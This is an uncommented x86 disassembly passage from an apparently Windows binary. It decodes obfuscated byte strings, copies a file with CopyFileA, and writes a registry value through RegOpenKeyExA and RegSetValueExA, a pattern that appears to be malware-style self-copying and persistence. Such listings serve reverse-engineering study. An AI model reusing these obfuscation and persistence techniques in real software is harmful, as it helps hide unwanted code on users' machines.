mov dword [ebp - 0x10], esi
call fcn.0047e9f0
mov eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x240]
push 0
push dword [eax]
call fcn.0046a0f0
mov eax, dword [ebp - 0x240]
cmp byte [eax + 0xd], bl
jne 0x448808
test bl, bl
jne 0x448805
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x368]
call fcn.0046a230
lea ecx, [ebp - 0x368]
call fcn.0046a1f0
push esi
lea ecx, [ebp - 0x63c]
call fcn.0046a230
lea ecx, [ebp - 0x63c]
call fcn.0046a1c0
lea eax, [ebp - 0x63c]
push eax
lea ecx, [ebp - 0x368]
call fcn.0046a100
test al, al
jne 0x4487ea
jmp 0x4486b0
lea ecx, [ebp - 0x368]
call fcn.00465250
mov esi, eax
test bl, bl
jne 0x4487ea
lea eax, [ebp - 0x464]
mov ecx, eax
mov dword [ebp - 0x540], eax
call fcn.00402f30
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x464]
push 0
push 0x51f88a
call fcn.00402ea0
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0xa9]
mov dword [ebp - 0xa9], 0x859a92
mov byte [ebp - 0xa5], 1
call fcn.00465b90
lea eax, [ebp - 0xa9]
mov ecx, esi
push eax
call fcn.0046d4f0
cmp byte [eax], bl
je 0x448756
lea ecx, [ebp - 0xae]
mov dword [ebp - 0xae], 0x859a92
mov byte [ebp - 0xaa], 1
call fcn.00465b90
lea eax, [ebp - 0xae]
mov ecx, esi
push eax
call fcn.0046d4f0
push eax
lea ecx, [ebp - 0x464]
call fcn.00474150
sub esp, 0x18
lea eax, [ebp - 0x464]
mov ecx, esp
mov dword [ebp - 0x544], esp
xor bh, bh
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x54
sub esp, 0xc
lea eax, [ebp - 0x274]
mov dword [ebp - 0x548], esp
mov ecx, esp
push eax
call fcn.004679f0
mov byte [ebp - 4], 0x55
mov byte [ebp - 4], 0x53
mov cl, bh
call fcn.00414670
add esp, 0x24
test al, al
je 0x4487a2
mov bl, 1
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x464]
call fcn.00402c80
mov byte [ebp - 4], 0x50
lea eax, [ebp - 0x464]
mov dword [ebp - 0x54c], eax
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x368]
call fcn.00465200
lea eax, [ebp - 0x63c]
push eax
lea ecx, [ebp - 0x368]
call fcn.0046a100
test al, al
je 0x4486b0
lea ecx, [ebp - 0x240]
call fcn.0046a090
mov eax, dword [ebp - 0x240]
cmp byte [eax + 0xd], 0
je 0x448655
mov esi, dword [ebp - 0x10]
and esi, 0xffbfffff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2b8]
call fcn.0041afb0
jmp 0x448825
mov esi, dword [ebp - 0x10]
cmp byte [ebp - 0x6b], 0
je 0x448b8c
test bl, bl
jne 0x448b8c
lea ecx, [ebp + 0x70]
call fcn.00465e20
test eax, eax
je 0x448b8c
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x2f0]
call fcn.004709b0
or esi, 0x100000
lea edx, [ebp - 0x2f0]
lea ecx, [ebp + 0x70]
mov dword [ebp - 0x10], esi
call fcn.0047e9f0
mov eax, dword [ebp - 0x2f0]
lea ecx, [ebp - 0x248]
push 0
push dword [eax]
call fcn.0046a0f0
mov eax, dword [ebp - 0x248]
cmp byte [eax + 0xd], bl
jne 0x448b70
test bl, bl
jne 0x448b6d
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x448b52
mov ecx, esi
call fcn.00465e20
test eax, eax
je 0x448b52
push esi
lea ecx, [ebp - 0x388]
call fcn.0046a230
lea ecx, [ebp - 0x388]
call fcn.0046a1f0
push esi
lea ecx, [ebp - 0x65c]
call fcn.0046a230
lea ecx, [ebp - 0x65c]
call fcn.0046a1c0
lea eax, [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x388]
call fcn.0046a100
test al, al
jne 0x448b52
lea esp, [esp]
lea ecx, [ebp - 0x388]
call fcn.00465250
mov esi, eax
test bl, bl
jne 0x448b52
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x2e8]
call fcn.004709b0
or dword [ebp - 0x10], 0x20000
lea edx, [ebp - 0x2e8]
mov ecx, esi
call fcn.0047e9f0
mov eax, dword [ebp - 0x2e8]
lea ecx, [ebp - 0x244]
push 0
push dword [eax]
call fcn.0046a0f0
mov eax, dword [ebp - 0x244]
cmp byte [eax + 0xd], bl
jne 0x448b17
lea esp, [esp]
test bl, bl
jne 0x448b17
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00465e20
test eax, eax
je 0x448afc
push esi
lea ecx, [ebp - 0x378]
call fcn.0046a230
lea ecx, [ebp - 0x378]
call fcn.0046a1f0
push esi
lea ecx, [ebp - 0x64c]
call fcn.0046a230
lea ecx, [ebp - 0x64c]
call fcn.0046a1c0
lea eax, [ebp - 0x64c]
push eax
lea ecx, [ebp - 0x378]
call fcn.0046a100
test al, al
jne 0x448afc
lea ecx, [ebp - 0x378]
call fcn.00465250
mov esi, eax
test bl, bl
jne 0x448afc
lea eax, [ebp - 0x524]
mov ecx, eax
mov dword [ebp - 0x550], eax
call fcn.00402f30
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x524]
push 0
push 0x51f88a
call fcn.00402ea0
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0xb3]
mov dword [ebp - 0xb3], 0x859a92
mov byte [ebp - 0xaf], 1
call fcn.00465b90
lea eax, [ebp - 0xb3]
mov ecx, esi
push eax
call fcn.0046d4f0
cmp byte [eax], bl
je 0x448a68
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xb8], 0x859a92
mov byte [ebp - 0xb4], 1
call fcn.00465b90
lea eax, [ebp - 0xb8]
mov ecx, esi
push eax
call fcn.0046d4f0
push eax
lea ecx, [ebp - 0x524]
call fcn.00474150
sub esp, 0x18
lea eax, [ebp - 0x524]
mov ecx, esp
mov dword [ebp - 0x554], esp
xor bh, bh
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x5e
sub esp, 0xc
lea eax, [ebp - 0x274]
mov dword [ebp - 0x558], esp
mov ecx, esp
push eax
call fcn.004679f0
mov byte [ebp - 4], 0x5f
mov byte [ebp - 4], 0x5d
mov cl, bh
call fcn.00414670
add esp, 0x24
test al, al
je 0x448ab4
mov bl, 1
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x524]
call fcn.00402c80
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x524]
mov dword [ebp - 0x55c], eax
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x378]
call fcn.00465200
lea eax, [ebp - 0x64c]
push eax
lea ecx, [ebp - 0x378]
call fcn.0046a100
test al, al
je 0x4489c2
lea ecx, [ebp - 0x244]
call fcn.0046a090
mov eax, dword [ebp - 0x244]
cmp byte [eax + 0xd], 0
je 0x448960
and dword [ebp - 0x10], 0xfffdffff
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x2e8]
call fcn.0041afb0
lea ecx, [ebp - 0x388]
call fcn.00465200
lea eax, [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x388]
call fcn.0046a100
test al, al
je 0x448900
lea ecx, [ebp - 0x248]
call fcn.0046a090
mov eax, dword [ebp - 0x248]
cmp byte [eax + 0xd], 0
je 0x448891
mov esi, dword [ebp - 0x10]
and esi, 0xffefffff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2f0]
call fcn.0041afb0
jmp 0x448b8c
mov bl, 1
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x750]
call fcn.00402c80
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x750]
mov dword [ebp - 0x560], eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x274]
call fcn.0046ac50
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x768]
call fcn.00402c80
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x768]
mov dword [ebp - 0x564], eax
mov byte [ebp - 4], 0x26
mov edi, dword [ebp - 0x68]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x288]
push dword [ebp - 0x290]
call fcn.0046a270
mov esi, dword [ebp - 0x2c4]
inc edi
mov dword [ebp - 0x68], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x2c0]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x68], eax
jb 0x447965
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x448c40
test bl, bl
je 0x44a69c
lea ecx, [ebp - 0x9a]
mov dword [ebp - 0x9a], 0x8f918dc9
mov word [ebp - 0x96], 0x100
call fcn.00465960
lea eax, [ebp - 0x260]
mov ecx, eax
mov dword [ebp - 0x568], eax
call fcn.00402f30
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x9a]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448c80
sub ecx, edx
lea eax, [ebp - 0x9a]
push ecx
push eax
lea ecx, [ebp - 0x260]
call fcn.00402ea0
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x7a]
mov word [ebp - 0x7a], 0xc9
mov byte [ebp - 0x78], 1
call fcn.004658f0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x56c], esp
mov dword [ebp - 0x570], esi
mov ecx, esi
mov dword [ebp - 0x574], esi
call fcn.00402f30
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x7a]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448ce0
sub ecx, edx
lea eax, [ebp - 0x7a]
push ecx
push eax
mov ecx, esi
call fcn.00402ea0
mov byte [ebp - 4], 0x6e
sub esp, 0x18
lea eax, [ebp - 0x4f4]
mov dword [ebp - 0x578], esp
mov ecx, esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x6f
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x3a4]
call fcn.0040b920
add esp, 0x30
mov byte [ebp - 4], 0x70
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x3a0]
mov esi, dword [ebp - 0x3a4]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4492c3
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
push eax
lea ecx, [ebp - 0x260]
call fcn.004689f0
lea ecx, [ebp - 0x12b]
mov dword [ebp - 0x12b], 0x8c9082
mov byte [ebp - 0x127], 1
call fcn.00409360
mov esi, eax
lea eax, [ebp - 0x780]
mov ecx, eax
mov dword [ebp - 0x2a8], eax
call fcn.00402f30
mov byte [ebp - 4], 0x72
mov ecx, esi
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448da0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x780]
call fcn.00402ea0
mov byte [ebp - 4], 0x73
lea edx, [ebp - 0x780]
mov ebx, dword [ebp - 0x10]
lea ecx, [ebp - 0x260]
or ebx, 1
mov dword [ebp - 0x10], ebx
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x130], 0x809b8a
mov byte [ebp - 0x12c], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x978]
call fcn.00402b80
mov dword [ebp - 4], 0x74
or ebx, 2
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x135]
mov dword [ebp - 0x135], 0x9b8b94
mov byte [ebp - 0x131], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x960]
call fcn.00402b80
mov dword [ebp - 4], 0x75
or ebx, 4
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x13a]
mov dword [ebp - 0x13a], 0x9d9093
mov byte [ebp - 0x136], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x948]
call fcn.00402b80
mov dword [ebp - 4], 0x76
or ebx, 8
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x13f]
mov dword [ebp - 0x13f], 0x8a8783
mov byte [ebp - 0x13b], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x930]
call fcn.00402b80
mov dword [ebp - 4], 0x77
or ebx, 0x10
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x181]
mov dword [ebp - 0x181], 0x928a8783
mov word [ebp - 0x17d], 0x100
call fcn.0040ac50
push eax
lea ecx, [ebp - 0x918]
call fcn.00402b80
mov dword [ebp - 4], 0x78
or ebx, 0x20
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x144], 0x8e8697
mov byte [ebp - 0x140], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x900]
call fcn.00402b80
mov dword [ebp - 4], 0x79
or ebx, 0x40
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x149]
mov dword [ebp - 0x149], 0x8e988d
mov byte [ebp - 0x145], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x8e8]
call fcn.00402b80
mov dword [ebp - 4], 0x7a
or ebx, 0x80
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x187]
mov dword [ebp - 0x187], 0x8d8c988d
mov word [ebp - 0x183], 0x100
call fcn.0040ac50
push eax
lea ecx, [ebp - 0x8d0]
call fcn.00402b80
mov dword [ebp - 4], 0x7b
or ebx, 0x100
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x14e]
mov dword [ebp - 0x14e], 0x998585
mov byte [ebp - 0x14a], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x8b8]
call fcn.00402b80
mov dword [ebp - 4], 0x7c
or ebx, 0x200
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x153]
mov dword [ebp - 0x153], 0x9d8985
mov byte [ebp - 0x14f], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0xca8]
call fcn.00402b80
mov dword [ebp - 4], 0x7d
or ebx, 0x400
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
test al, al
je 0x449119
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x158], 0x9a8a91
mov byte [ebp - 0x154], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0xc90]
call fcn.00402b80
mov dword [ebp - 4], 0x7e
or ebx, 0x800
mov edx, eax
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x260]
call fcn.0046ddf0
mov byte [ebp - 0x11], 1
test al, al
jne 0x44911d
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0x7d
test ebx, 0x800
je 0x449140
and ebx, 0xfffff7ff
lea ecx, [ebp - 0xc90]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x7c
test ebx, 0x400
je 0x449163
and ebx, 0xfffffbff
lea ecx, [ebp - 0xca8]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x7b
test ebx, 0x200
je 0x449186
and ebx, 0xfffffdff
lea ecx, [ebp - 0x8b8]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x7a
test ebx, 0x100
je 0x4491a9
and ebx, 0xfffffeff
lea ecx, [ebp - 0x8d0]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x79
test bl, bl
jns 0x4491c8
and ebx, 0xffffff7f
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x78
test bl, 0x40
je 0x4491e5
and ebx, 0xffffffbf
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x77
test bl, 0x20
je 0x449202
and ebx, 0xffffffdf
lea ecx, [ebp - 0x918]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x76
test bl, 0x10
je 0x44921f
and ebx, 0xffffffef
lea ecx, [ebp - 0x930]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x75
test bl, 8
je 0x44923c
and ebx, 0xfffffff7
lea ecx, [ebp - 0x948]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x74
test bl, 4
je 0x449259
and ebx, 0xfffffffb
lea ecx, [ebp - 0x960]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x73
test bl, 2
je 0x449276
and ebx, 0xfffffffd
lea ecx, [ebp - 0x978]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
mov dword [ebp - 4], 0x70
test bl, 1
je 0x449293
and ebx, 0xfffffffe
lea ecx, [ebp - 0x780]
mov dword [ebp - 0x10], ebx
call fcn.00402b10
cmp byte [ebp - 0x11], 0
je 0x4492c6
lea ecx, [ebp - 0x15d]
mov dword [ebp - 0x15d], 0x8c9082
mov byte [ebp - 0x159], 1
call fcn.00409360
push eax
lea ecx, [ebp - 0x260]
call fcn.004689c0
jmp 0x4492c6
mov ebx, dword [ebp - 0x10]
lea ecx, [ebp - 0x7d]
mov word [ebp - 0x7d], 0xc9
mov byte [ebp - 0x7b], 1
call fcn.004658f0
mov edx, 0x14
lea ecx, [ebp - 0x858]
call fcn.0040bbe0
mov esi, eax
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x8d]
mov word [ebp - 0x8d], 0xbb
mov byte [ebp - 0x8b], 1
call fcn.004658f0
lea eax, [ebp - 0x8d]
push eax
lea edx, [ebp + 0x80]
lea ecx, [ebp - 0x840]
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x810]
push esi
push eax
push dword [ebp - 0x2a8]
call fcn.00470cf0
mov esi, dword [ebp - 0x30]
or esi, 1
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x7d]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449350
sub ecx, edx
lea eax, [ebp - 0x7d]
push ecx
push eax
lea ecx, [ebp - 0x810]
call fcn.0046b590
push eax
lea ecx, [ebp - 0x828]
call fcn.00402b20
lea eax, [ebp - 0x260]
or ebx, 0x80000000
push eax
lea edx, [ebp - 0x828]
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x3bc]
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x83
and ebx, 0x7fffffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x828]
call fcn.00402c80
mov byte [ebp - 4], 0x84
lea eax, [ebp - 0x828]
mov dword [ebp - 0x57c], eax
mov byte [ebp - 4], 0x84
and esi, 0xfffffffe
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x810]
call fcn.00402c80
mov byte [ebp - 4], 0x88
lea eax, [ebp - 0x810]
mov dword [ebp - 0x580], eax
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x840]
call fcn.00402c80
mov byte [ebp - 4], 0x8c
lea eax, [ebp - 0x840]
mov dword [ebp - 0x584], eax
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x858]
call fcn.00402c80
mov byte [ebp - 4], 0x90
lea eax, [ebp - 0x858]
mov dword [ebp - 0x588], eax
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x126]
mov dword [ebp - 0x126], 0x9a9d9c8f
mov dword [ebp - 0x122], 0xc1c2d698
mov word [ebp - 0x11e], 0x100
call fcn.004657a0
lea ecx, [ebp - 0x4f4]
call fcn.004687e0
lea ecx, [ebp - 0x126]
push ecx
push eax
call fcn.004e0f60
add esp, 8
lea ecx, [ebp - 0x3bc]
test eax, eax
setne byte [ebp - 0x294]
call fcn.004687e0
lea ecx, [ebp - 0x4f4]
mov esi, eax
call fcn.004687e0
push 0x7530
push 0
push dword [ebp - 0x294]
mov edx, esi
mov ecx, eax
call fcn.004866b0
add esp, 0xc
test al, al
je 0x44a64b
xor eax, eax
lea ecx, [ebp - 0xd78]
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], eax
mov byte [ebp - 0x30c], al
call fcn.00486d10
mov esi, dword [ebp - 0x4fc]
lea ecx, [ebp - 0x50c]
call fcn.004687e0
push esi
push eax
lea ecx, [ebp - 0xd78]
call fcn.00486af0
push 0
lea ecx, [ebp - 0xd78]
call fcn.00486bc0
cmp byte [ebp - 0xcdc], 0
je 0x449540
mov ecx, 8
lea esi, [ebp - 0xccb]
lea edi, [ebp - 0x32c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1b1]
mov dword [ebp - 0x1b1], 0x88868ca6
mov dword [ebp - 0x1ad], 0x8a9db98e
mov dword [ebp - 0x1a9], 0x8094848e
mov word [ebp - 0x1a5], 0xa5
mov byte [ebp - 0x1a3], 1
call fcn.00465a70
push 0x541d9c
lea edx, [ebp - 0x1b1]
lea ecx, [ebp - 0x700]
call fcn.0046d1b0
add esp, 4
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], 0x8f8e8ca2
mov dword [ebp - 0x100], 0x100bfa6
call fcn.00465830
push 0x541d9c
lea edx, [ebp - 0x104]
lea ecx, [ebp - 0x4dc]
call fcn.0046d1b0
add esp, 4
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x194], 0xbfa0bbaa
mov dword [ebp - 0x190], 0x9a8c889b
mov dword [ebp - 0x18c], 0xa7828a
mov byte [ebp - 0x188], 1
call fcn.00465890
push 0x541d9c
lea edx, [ebp - 0x194]
lea ecx, [ebp - 0x4c4]
call fcn.0046d1b0
add esp, 4
mov byte [ebp - 4], 0x96
cmp byte [ebp - 0x6c], 0
je 0x44997c
lea ecx, [ebp - 0x216]
mov dword [ebp - 0x216], 0xabaaa7ab
mov dword [ebp - 0x212], 0xbebdada7
mov dword [ebp - 0x20e], 0xb3a5b1ab
mov word [ebp - 0x20a], 0x100
call fcn.0040ed40
push eax
call fcn.004ee4e1
add esp, 4
test eax, eax
je 0x44997c
push eax
lea ecx, [ebp - 0x47c]
call fcn.00402b80
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0xdf]
mov word [ebp - 0xdf], 0xbb
mov byte [ebp - 0xdd], 1
call fcn.0040ace0
push eax
lea ecx, [ebp - 0x47c]
call fcn.00468990
lea ecx, [ebp - 0xe2]
mov word [ebp - 0xe2], 0xb8
mov byte [ebp - 0xe0], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x700]
lea ecx, [ebp - 0x9a8]
call fcn.0046d070
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x32c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x990]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x47c]
push eax
call fcn.00468970
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x990]
call fcn.00402b10
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x9a8]
call fcn.00402b10
lea ecx, [ebp - 0x47c]
call fcn.004687e0
mov ecx, eax
call fcn.0040b340
test al, al
jne 0x449742
lea ecx, [ebp - 0x47c]
call fcn.004168e0
test al, al
je 0x44996d
lea ecx, [ebp - 0x17b]
mov dword [ebp - 0x17b], 0x8f918dc9
mov word [ebp - 0x177], 0x100
call fcn.0040ac50
lea ecx, [ebp - 0xe5]
mov word [ebp - 0xe5], 0xbb
mov esi, eax
mov byte [ebp - 0xe3], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x47c]
lea ecx, [ebp - 0x9d8]
call fcn.0046d070
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x700]
push ecx
mov edx, eax
lea ecx, [ebp - 0x9c0]
call fcn.0046d2f0
mov byte [ebp - 4], 0x9b
mov edx, eax
push esi
lea ecx, [ebp - 0x6d0]
call fcn.0046d100
add esp, 0xc
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x9c0]
call fcn.00402b10
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x9d8]
call fcn.00402b10
sub esp, 0x18
lea eax, [ebp - 0x6d0]
mov ecx, esp
mov dword [ebp - 0x58c], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x9f
mov byte [ebp - 4], 0x9e
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x44995e
lea ecx, [ebp - 0x6d0]
call fcn.004687e0
lea ecx, [ebp - 0x3bc]
mov esi, eax
call fcn.004687e0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x44995e
lea eax, [ebp - 0x264]
mov dword [ebp - 0x62], 0x9e8f87b4
push eax
push 0x20006
push 0
lea ecx, [ebp - 0x62]
mov dword [ebp - 0x5e], 0x8b9f8d9c
mov dword [ebp - 0x5a], 0x9198bdb3
mov dword [ebp - 0x56], 0x99869b81
mov dword [ebp - 0x52], 0xada58c91
mov dword [ebp - 0x4e], 0x91999292
mov dword [ebp - 0x4a], 0x415d7388
mov dword [ebp - 0x46], 0x63777676
mov dword [ebp - 0x42], 0x6f5f7c69
mov dword [ebp - 0x3e], 0x61647f79
mov dword [ebp - 0x3a], 0x67434c61
mov word [ebp - 0x36], 0x7d
mov byte [ebp - 0x34], 1
call fcn.00417e70
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44995e
lea ecx, [ebp - 0x6d0]
call fcn.00402b00
lea ecx, [ebp - 0x6d0]
mov edi, eax
call fcn.004687e0
lea ecx, [ebp - 0xe8]
mov word [ebp - 0xe8], 0xb8
mov esi, eax
mov byte [ebp - 0xe6], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x700]
lea ecx, [ebp - 0xa08]
call fcn.0046d070
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x32c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x9f0]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0xa1
mov ecx, eax
call fcn.004687e0
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x9f0]
call fcn.00402b10
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0xa08]
call fcn.00402b10
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x6d0]
call fcn.00402b10
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x47c]
call fcn.00402b10
cmp byte [ebp - 0x6d], 0
je 0x44a0fe
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x22], 0xbfa5a4a6
mov dword [ebp - 0x1e], 0xbdbfa9b8
mov dword [ebp - 0x1a], 0xb4bea2bf
mov dword [ebp - 0x16], 0xb0b8ba
mov byte [ebp - 0x12], 1
call fcn.0040ecb0
push eax
call fcn.004ee4e1
add esp, 4
test eax, eax
je 0x44a0fe
push eax
lea ecx, [ebp - 0x494]
call fcn.00402b80
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0xeb]
mov word [ebp - 0xeb], 0xbb
mov byte [ebp - 0xe9], 1
call fcn.0040ace0
push eax
lea ecx, [ebp - 0x494]
call fcn.00468990
lea ecx, [ebp - 0xee]
mov word [ebp - 0xee], 0xb8
mov byte [ebp - 0xec], 1
call fcn.0040ace0
push eax
lea edx, [ebp - 0x4c4]
lea ecx, [ebp - 0xa38]
call fcn.0046d070
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x32c]
push ecx
mov edx, eax
lea ecx, [ebp - 0xa20]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x494]
push eax
call fcn.00468970
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0xa20]
call fcn.00402b10
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0xa38]
call fcn.00402b10
lea ecx, [ebp - 0x494]
call fcn.004687e0
mov ecx, eax
call fcn.0040b340
test al, al
jne 0x449ab9
lea ecx, [ebp - 0x494]
call fcn.004687e0
push eax
lea ecx, [ebp - 0x870]
call fcn.00402b80
mov byte [ebp - 4], 0xa5
